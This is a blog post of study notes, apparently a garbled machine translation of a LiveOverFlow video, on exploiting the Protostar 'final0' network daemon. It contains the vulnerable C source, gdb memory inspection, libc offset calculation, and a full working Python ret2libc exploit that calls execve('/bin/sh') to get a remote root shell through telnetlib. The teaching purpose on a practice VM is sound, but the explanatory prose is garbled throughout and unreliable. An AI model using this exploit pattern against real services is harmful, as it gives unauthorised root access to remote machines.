Security_RNRF

0x30. 본문

LiveOverFlow/Binary

0x30.

RNRF 2021. 11. 3. 01:03

30. First remote root exploit - bin.0x1D

: I learned how to debug "final0" from the "0x1C" video. And the first remote buffer overflow exploit could be completed.
-> In the "0x1C" video we wrote Python "one-liner" to interrupt the process and the command pointer was hexadecimal.
-> The "fffg" of "ASCII," now knows which character takes precedence over which of the stack's return po

: C Code(/opt/protostar/bin/final0)
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}

: Now you create a remote exploit, starting with the entire Python script.
-> cd /tmp
-> vim final0.py
writing…
-> Start by taking the "struct" and converting the address to the "Rob Id" string and connecting the socket to the remote service.
-> You can then copy a portion of the "1" liner up to "ff g" for padding.
-> You can control the command pointer and set up the socket as you did in football programming with Python video.
-> Then, use the socket to send an exploit string and send a new line to the end to stop reading the input.
-> "gets();" reads until & newline '\n'
: Theoretically at this point we would have succeeded in exploiting.
-> So we can send commands like "id" and send "uname -a" orders and get that response.
-> Although successful, you should plan how to obtain the shell before it is operational.
-> For example, there are many simple ways to do it.
-> Inserting a shell code with an "Op" slide is the string used to take the stack address and overflow.
-> But this deck is always a little unreliable, so it's better to read the "libc" technique.

: At least what makes an exploit more stable for the system?
-> This requires more information.
-> First of all, we need to look at possible functions.
-> su root
Password:(godmode)
-> gdb -p `pidof final0`
-> info functions @plt
All functions matching regular expression "@plt":

Non-debugging symbols:
0x080489fc  __errno_location@plt
0x08048a0c  srand@plt
0x08048a1c  open@plt
0x08048a2c  setgroups@plt
0x08048a3c  getpid@plt
0x08048a4c  strerror@plt
0x08048a5c  daemon@plt
0x08048a6c  err@plt
0x08048a7c  signal@plt
0x08048a8c  __gmon_start__@plt
0x08048a9c  strchr@plt
0x08048aac  gets@plt
0x08048abc  write@plt
0x08048acc  listen@plt
0x08048adc  toupper@plt
0x08048aec  memset@plt
0x08048afc  __libc_start_main@plt
0x08048b0c  wait@plt
0x08048b1c  htons@plt
0x08048b2c  read@plt
0x08048b3c  setresuid@plt
0x08048b4c  setresgid@plt
0x08048b5c  accept@plt
0x08048b6c  socket@plt
0x08048b7c  dup2@plt
0x08048b8c  strlen@plt
0x08048b9c  asprintf@plt
0x08048bac  printf@plt
0x08048bbc  bind@plt
0x08048bcc  close@plt
0x08048bdc  fwrite@plt
0x08048bec  fprintf@plt
0x08048bfc  setvbuf@plt
0x08048c0c  execve@plt
0x08048c1c  malloc@plt
0x08048c2c  fork@plt
0x08048c3c  setsockopt@plt
0x08048c4c  rand@plt
0x08048c5c  htonl@plt
0x08048c6c  snprintf@plt
0x08048c7c  strdup@plt
0x08048c8c  strcmp@plt
0x08048c9c  exit@plt
---Type <return> to continue, or q <return> to quit---
0xb7ead9c4  calloc@plt
0xb7ead9d4  realloc@plt
0xb7ead9e4  feof@plt
0xb7ead9f4  malloc@plt
0xb7eada04  ___tls_get_addr@plt
0xb7eada14  memalign@plt
0xb7eada24  free@plt
0xb7eada34  _Unwind_Find_FDE@plt
0xb7fe37cc  __libc_memalign@plt
0xb7fe37dc  malloc@plt
0xb7fe37ec  calloc@plt
0xb7fe37fc  realloc@plt
0xb7fe380c  ___tls_get_addr@plt
0xb7fe381c  free@plt
Current language:  auto
The current source language is "auto; currently asm".
-> While the program itself may not run as "slr," a "Lipy" can occur, which becomes randomized as "slr."
-> Therefore, it is generally recommended to find an address in the global offset table.
-> In "gdb", you can use the"info" function and specify a filter such as "add plt".
-> This shows all reference functions by this program that can now be called with these addresses.
-> And we don't have to worry about random web references.
-> Here we can find exactly "e" because it can be used to run other programs such as "pin" and "sh."
-> You can add addresses exactly in an exploit script.
: Now you must figure out how to prepare the stack to correctly call the correct "execve".
-> The easiest way is to create a simple example C program.
-> You can learn how to invoke it and write it in code on the "man" page of "execve."
-> man execve
SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);
-> vim exec.c
void main() {

        execve("/bin/sh", 0, 0);

}
-> "sh" and "0" indicates that there is no argument or the environment variable.
-> If you are now on a 64-bit system, you must compile this test program in the same sense as the target program.
-> But your target is stroy. 2 bits. Always compile to 32 bits.
-> gcc exec.c -o exec
-> It is important to remember that problems can arise here.
-> But in this case, so now be compiled.
-> ./exec
$ id
uid=1001(user) gid=1001(user) groups=1001(user)
-> Use "break" in "gdb" and proceed until it is finished.
-> gdb ./exec
-> break *main
Breakpoint 1 at 0x80483c4
-> r
Starting program: /tmp/exec

Breakpoint 1, 0x080483c4 in main ()
-> si # step instruction
0x080483c5 in main ()
-> si
0x080483c7 in main ()
-> si
0x080483ca in main ()
-> si
0x080483cd in main ()
-> si
0x080483d5 in main ()
-> si
0x080483dd in main ()
-> si
0x080483e4 in main ()
-> si
0x080482fc in execve@plt ()
-> Let's now examine the eight words and hexadecimal numbers of "ESP" in this "break point" to look at the
-> x/8wx $esp
0xbffff7cc:     0x080483e9      0x080484b0      0x00000000      0x00000000
0xbffff7dc:     0xb7fd7ff4      0x08048400      0x00000000      0xbffff868
-> This is what the stack looks like when you return to the exit.
-> Is the first value in the stack a return pointer that returns after the end "V"?
-> x/5i 0x080483e9
0x80483e9 <main+37>:    leave
0x80483ea <main+38>:    ret
0x80483eb:      nop
0x80483ec:      nop
0x80483ed:      nop
-> this points back into main.
-> But we don't care exactly where it will return because "e" runs another program and never returns it.
-> You can place the "a" and the exploit here.
-> The following values are actually the address of the string "Business age".
-> x/s 0x080484b0
0x80484b0:       "/bin/sh"
-> How do we deal with it?
-> An easy way which kind of makes us exploit dependent on this current lipsy version is to look for this string and lipsy.
-> For a versionless exploit, you must first use a kind of information league.
-> But we must keep our case simple.
-> So use "grep" to find the string again in "libc."
-> We can use several factors to get an offset.
-> ldd exec # get paths to all Loaded Libraries
        linux-gate.so.1 =>  (0xb7fe4000)
        libc.so.6 => /lib/libc.so.6 (0xb7e99000)
        /lib/ld-linux.so.2 (0xb7fe5000)
-> grep -R -a -b -o /bin/sh /lib/libc.so.6 # grep for /bin/sh in libc
1176511:/bin/sh # offset in libc OR offset of "/bin/sh" in libc
: Now you need to know where the "libc" is loaded.
-> You can find the process ID for "final0" and then use the "proc" file system to view the memory map.
-> pidof final0
1658
-> cat /proc/1658/maps
08048000-0804a000 r-xp 00000000 00:10 2243       /opt/protostar/bin/final0
0804a000-0804b000 rwxp 00001000 00:10 2243       /opt/protostar/bin/final0
b7e96000-b7e97000 rwxp 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759        /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r-xp 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rwxp 00140000 00:10 759        /lib/libc-2.11.2.so
b7fd9000-b7fdc000 rwxp 00000000 00:00 0
b7fe0000-b7fe2000 rwxp 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0          [vdso]
b7fe3000-b7ffe000 r-xp 00000000 00:10 741        /lib/ld-2.11.2.so
b7ffe000-b7fff000 r-xp 0001a000 00:10 741        /lib/ld-2.11.2.so
b7fff000-b8000000 rwxp 0001b000 00:10 741        /lib/ld-2.11.2.so
bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]
-> Since there is a memory address, let's copy all this information to the exploit script.
-> The string "bin" with "h" is located in the "libc" base at the offset obtained by "gripping" the file.
-> vim final0.py
import struct
import socket

HOST = '127.0.0.1'
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

padding = "a"*510+"\x00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000) # “1176511”: offset inside of libc & “0xb7e97000”: base of libc
exploit = padding + execve + "AAAA" + binsh + "\x00"*80 # “binsh”: cakulated real address of "bin/sh"
s.send(exploit+"\n")
s.send("id\n")
s.send("uname -a\n")
print s.recv(1024)
-> The next two parameters are now "0". Now this abuse works.
-> Connect through the process using "gdb" to
-> Let's disassemble the user name import function, set a break point on return, and run the exploit.
-> gdb -p `pidof final0`
-> set disassembly-flavor intel
-> set follow-fork-mode child
-> disassemble get_username
Dump of assembler code for function get_username:
0x0804975a <get_username+0>:    push   ebp
0x0804975b <get_username+1>:    mov    ebp,esp
0x0804975d <get_username+3>:    push   ebx
0x0804975e <get_username+4>:    sub    esp,0x224
0x08049764 <get_username+10>:   mov    DWORD PTR [esp+0x8],0x200
0x0804976c <get_username+18>:   mov    DWORD PTR [esp+0x4],0x0
0x08049774 <get_username+26>:   lea    eax,[ebp-0x210]
0x0804977a <get_username+32>:   mov    DWORD PTR [esp],eax
0x0804977d <get_username+35>:   call   0x8048aec <memset@plt>
0x08049782 <get_username+40>:   lea    eax,[ebp-0x210]
0x08049788 <get_username+46>:   mov    DWORD PTR [esp],eax
0x0804978b <get_username+49>:   call   0x8048aac <gets@plt>
0x08049790 <get_username+54>:   mov    DWORD PTR [esp+0x4],0xa
0x08049798 <get_username+62>:   lea    eax,[ebp-0x210]
0x0804979e <get_username+68>:   mov    DWORD PTR [esp],eax
0x080497a1 <get_username+71>:   call   0x8048a9c <strchr@plt>
0x080497a6 <get_username+76>:   mov    DWORD PTR [ebp-0x10],eax
0x080497a9 <get_username+79>:   cmp    DWORD PTR [ebp-0x10],0x0
0x080497ad <get_username+83>:   je     0x80497b5 <get_username+91>
0x080497af <get_username+85>:   mov    eax,DWORD PTR [ebp-0x10]
0x080497b2 <get_username+88>:   mov    BYTE PTR [eax],0x0
0x080497b5 <get_username+91>:   mov    DWORD PTR [esp+0x4],0xd
0x080497bd <get_username+99>:   lea    eax,[ebp-0x210]
0x080497c3 <get_username+105>:  mov    DWORD PTR [esp],eax
0x080497c6 <get_username+108>:  call   0x8048a9c <strchr@plt>
0x080497cb <get_username+113>:  mov    DWORD PTR [ebp-0x10],eax
0x080497ce <get_username+116>:  cmp    DWORD PTR [ebp-0x10],0x0
0x080497d2 <get_username+120>:  je     0x80497da <get_username+128>
0x080497d4 <get_username+122>:  mov    eax,DWORD PTR [ebp-0x10]
0x080497d7 <get_username+125>:  mov    BYTE PTR [eax],0x0
0x080497da <get_username+128>:  mov    DWORD PTR [ebp-0xc],0x0
0x080497e1 <get_username+135>:  jmp    0x8049807 <get_username+173>
0x080497e3 <get_username+137>:  mov    ebx,DWORD PTR [ebp-0xc]
0x080497e6 <get_username+140>:  mov    eax,DWORD PTR [ebp-0xc]
0x080497e9 <get_username+143>:  movzx  eax,BYTE PTR [ebp+eax*1-0x210]
0x080497f1 <get_username+151>:  movsx  eax,al
0x080497f4 <get_username+154>:  mov    DWORD PTR [esp],eax
0x080497f7 <get_username+157>:  call   0x8048adc <toupper@plt>
0x080497fc <get_username+162>:  mov    BYTE PTR [ebp+ebx*1-0x210],al
0x08049803 <get_username+169>:  add    DWORD PTR [ebp-0xc],0x1
0x08049807 <get_username+173>:  mov    ebx,DWORD PTR [ebp-0xc]
0x0804980a <get_username+176>:  lea    eax,[ebp-0x210]
0x08049810 <get_username+182>:  mov    DWORD PTR [esp],eax
0x08049813 <get_username+185>:  call   0x8048b8c <strlen@plt>
0x08049818 <get_username+190>:  cmp    ebx,eax
0x0804981a <get_username+192>:  jb     0x80497e3 <get_username+137>
0x0804981c <get_username+194>:  lea    eax,[ebp-0x210]
0x08049822 <get_username+200>:  mov    DWORD PTR [esp],eax
0x08049825 <get_username+203>:  call   0x8048c7c <strdup@plt>
0x0804982a <get_username+208>:  add    esp,0x224
0x08049830 <get_username+214>:  pop    ebx
0x08049831 <get_username+215>:  pop    ebp
0x08049832 <get_username+216>:  ret
End of assembler dump.
-> break *0x08049832
Breakpoint 1 at 0x8049832: file final0/final0.c, line 34.
-> c
Continuing.
(Python) -> python final0.py
(gdb) -> [New process 8327]
[Switching to process 8327]

Breakpoint 1, 0x08049832 in get_username () at final0/final0.c:34
34      final0/final0.c: No such file or directory.
        in final0/final0.c
Current language:  auto
The current source language is "auto; currently c".
-> We reach the break point, develop one more command, and return to the end.
-> x/8wx $esp
0xbffffc5c:     0x08048c0c      0x41414141      0xb7fb63bf      0x00000000
0xbffffc6c:     0x00000000      0x00000000      0x00000000      0x00000000
-> Now let's look at the stack and make sure everything is right.
-> si
0x08048c0c in execve@plt ()
-> x/8wx $esp
0xbffffc60:     0x41414141      0xb7fb63bf      0x00000000      0x00000000 # fake return address
0xbffffc70:     0x00000000      0x00000000      0x00000000      0x00000000
-> Therefore, the first value is "A" and the correct value is the subsequent value.
-> x/s 0xb7fb63bf
0xb7fb63bf:      "/bin/sh"
-> It looks great and runs a script without debugging in Ruby.
(another -> python final0.py
terminal) uid=0(root) gid=0(root) groups=0(root)
-> You can view the output of the first command.
-> It is thought that to obtain the output of both commands, it must be received twice.
-> Add "print s.recv(1024)" one more line to "final0.py"
-> python final0.py
uid=0(root) gid=0(root) groups=0(root)

Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
: Now it's the last trick to make bad use better.
-> we didn't use the "town ad-lib" module then hand over the socket we open to the talent lip and call interact.
(Python) -> vim final0.py
import struct
import socket
import telnetlib

HOST = '127.0.0.1'
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

padding = "a"*510+"\00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000)
exploit = padding + execve + "AAAA" + binsh + "\x00"*8

s.send(exploit+"\n")
s.send("id\n")
print s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.interact()
-> "Telnet" is a very simple protocol, such as "TCP."
-> "Netcat" is often used for remote "shallow" connections, as is the case with the without encryption
-> When played over the network, a remote shell was created.
-> Thus, "python telent lib" can be used to create an interactive shell without having to write a wide range of code.
-> python final0.py
uid=0(root) gid=0(root) groups=0(root)

ls
bin
boot
dev
etc
home
initrd.img
lib
live
lost+found
media
mnt
opt
proc
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
uname
Linux
-> Now you can run Explorer and have a nice interactive shell.
-> This is now a remote exploit.
-> Someone on the network can run this "VM" and change the user and root passwords.
: Can I use this exploit to get root privileges?
-> Here is an example. Python is installed on your "Windows" computer, where you can copy the exploit script.
(windows -> Copy to the "Windows" Python.
python
Edit)
-> ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:89:ae:5b brd ff:ff:ff:ff:ff:ff
    inet 192.168.70.130/24 brd 192.168.70.255 scope global eth0
    inet6 fe80::20c:29ff:fe89:ae5b/64 scope link
       valid_lft forever preferred_lft forever

: Now you have all the knowledge. Easy portable problems and "CTF" should be solved.

: Exploit Code(Python Code)
import struct
import socket
import telnetlib

HOST = '127.0.0.1'  # Change the IP address
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

padding = "a"*510+"\00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000)
exploit = padding + execve + "AAAA" + binsh + "\x00"*8

s.send(exploit+"\n")
s.send("id\n")
print s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.interact()

'LiveOverFlow > Binary' 카테고리의 다른 글

0x32.  (0) 2021.11.03
0x31.  (0) 2021.11.03
0x29.  (0) 2021.11.03
0x28.  (0) 2021.11.03
0x27.  (0) 2021.11.03
Comments